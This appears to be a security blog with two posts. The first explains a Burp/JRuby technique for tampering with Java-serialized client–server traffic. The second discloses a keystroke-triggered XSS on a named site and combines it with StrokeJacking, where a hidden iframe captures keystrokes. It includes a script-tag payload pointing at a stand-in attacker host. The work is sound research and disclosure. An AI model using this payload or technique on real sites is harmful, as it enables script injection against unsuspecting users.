Attacking JAVA Serialized Communication: BH EU 2010

JAVA Object Serialization has been in use in many applications for a long time now. I find many enterprise applications that make use of JAVA Object Serialization to transfer objects from the client to sever and vice-versa. Testing such applications is a pain as it is not as straight forward as normal web applications that make use of simple parameter and value in HTTP POST data.

Some applications g-zip the serialized data before transferring it. Most common protocol for such applications is HTTP and RMI. There aren’t many easy techniques available today to test such applications and even if they do, they have certain shortcomings. At BlackHat EU this year, I discussed a technique that could be used to test such applications using currently available tools.

For testing web applications, the best tool available by far is Burp Proxy. It is one of my preferred tools to perform security assessments. You can refer to the whitepaper and the slides for details of the talk. In this blog post I will discuss the setup and a short introduction of how to carry out such assessments. The pre-requisites for using this technique are:

• Burp Proxy v.1.2.x
• JRuby v.1.4.x
• Buby v. 1.8.x
• Editor of your choice to edit the JRuby code
• Some knowledge of JAVA Object Serialization

First make sure that the usual 'JAVA_HOME' and 'PATH' environment variables are set for JAVA and JRuby. Once you have JAVA and JRuby setup properly, install the Buby gem. The details for installing Buby are given on its help page. Just make sure to copy the 'burp.jar' file in the JRuby load path. You can find the JRuby load path as follows in the IRB shell:

[IRB]>> $:

You can download the code that I released at BlackHat for the demo from here. It is a plug-in template that does three things:

• Injects an (J)IRB shell in the Burp Proxy
• Provides a method that de-serializes the JAVA Object stream (this can be modified to suit your needs e.g un-zip stream before de-serializing, etc.)
• Provides helper methods that use JAVA Reflection to access private variables and other useful methods

All the client-side jars should be placed in the lib folder provided by the plug-in. The plug-in will automatically import all the jars contained in this directory on startup. For the purpose of demonstration we would use a simple scenario where the JAVA serialized object is passed in a POST data of a HTTP request from the client to the server and vice-versa as shown in the figure below.

Once this sort of data is intercepted by Burp; our plug-in steps into action. Burp passes the entire message (headers + POST data) as a JAVA byte array to the plug-in which then splits the message into header and data and tries to de-serialize the JAVA Object. Once the JAVA Object is read, the plug-in spawns a (J)IRB shell exposing a variable obj which contains the JAVA Object. Now the pentester has the option of playing around with a complete development environment using the shell and editing the object at will. Once you are done modifying the object, you can use the helper methods to pack the object and create a new message (JAVA byte array) and return it to Burp to pass it to the application server.

For a more detailed demonstration watch the video

Stroke triggered XSS and StrokeJacking

A few days back I got a link to the RubyHero website, it lets you nominate a person of your choice for the Ruby Hero award. I wanted to nominate Manish because he is doing some pretty cool stuff with Ruby and also always ferociously defends Ruby in our Perl vs Ruby arguments. So there I was, on their homepage typing in the Attack and Defense Labs URL in to the input box. But as I typed it in, the URL started showing up inside the ‘Nominate’ button. Since it looked like a candidate for XSS I entered ‘<h1>’ and sure enough it was rendered by the browser, tried the script tag and got an alert command to execute.

None of this is even remotely amusing but what is interesting is how this XSS vulnerability can be exploited. The payload in this case can neither be injected through any URL or POST parameter like a reflected or stored XSS nor be injected through any DOM object before the page loads like discussed in popular references of DOM based XSS attacks. It can only be injected by the victim himself by typing out every single character of the payload!!

I will explain why. In this specific case there is an event handler assigned to the Input box’s ‘KeyUp’ event. This event handler takes the contents of the input box and sets it as the ‘Nominate’ button element’s content using the ‘html()’ function of JQuery without any encoding or validation. If I enter HTML inside the input box then it is added to the DOM of the page and is rendered by the browser. Since this XSS can only be triggered by the keystrokes of the victim, ‘Stroke triggered Cross-site Scripting‘ would be a suitable name for it I think.

The vulnerable JavaScript snippet is below:
jQuery(function($){
$('#site_url').focus().keyup(function(event) {
var input_text = $(event.target).val();
//removed for clarity
$('#nomination_submit').html('Nominate <strong>' + input_text + '</strong>');
});

All of this sounds good but how on earth do you convince your victim to type in ‘<script src=attacker.site/evil.js>’ in to this box. Realistically speaking it is easier than you might think because I have myself happily copy-pasted JavaScript in to my browser’s address bar because someone on Orkut said it would do cool things. Ofcourse that was many many years back before I even knew what JavaScript was. Though an evil attacker can social engineer simple folks like the old me to key in the payload, it might not look very convincing to others.

Pondering over a possible technique to make the attack look legit I remembered the ‘StrokeJacking’ POC posted by Michal Zalewski a few weeks back. Like ClickJacking, StrokeJacking also makes use of UI redressing to trick the user but instead of Clicks it hijacks the keystrokes of the victim, very clever technique. The POC asks the victim to type in a harmless looking string while in reality the string is a mix of characters that the attacker is interested in along with other insignificant characters.

There is an input box in the attacker’s website where this string is to be typed and this page also contains a hidden ‘iframe’ which loads the target site. As the victim types the string in to the input box there is an event handler which monitors every character entered, if the victim types in one of the characters the attacker is interested in then it passes the focus to the hidden iframe. So this character is actually typed in to the active input box of the iframe, immediately the focus is bought back to the attacker’s input box. By doing this repeatedly the attacker can con the victims in to typing something inside the target website without them even knowing what and where they have typed.

StrokeJacking is the perfect technique to exploit ‘Stroke triggered XSS’ and I have made a simple POC to prove this point. The page vulnerable to Stroke triggered XSS is hosted at ‘andlabs.net’. The page from which StrokeJacking will be performed is located at ‘andlabs.org’, this is done to show that this is a cross-domain attack.

The success with the POC depends on your typing style because the method that I am using to capture the special characters ‘<’ and ‘:’ from the victim depends on the victim’s typing speed and style. If you press the ‘shift’ key and take more the 500ms searching for the ‘<’ or ‘:’ key then this technique does not catch them. I am betting on the fact that most people take lesser that. Also once you enter the either of the special characters give a brief pause of about a second before keying in the next character. It works on FireFox, Chrome, Safari and Iron. All suggestions for a better method to do this are most welcome.

I reported this vulnerability late last week to the developers of rubyheros.com but it still remains unfixed. They responded promptly but remain convinced that this is an unexploitable vulnerability. Hopefully this post will change such perceptions. A video of exploiting the original vulnerability similar to the one shared with the vendors is available here.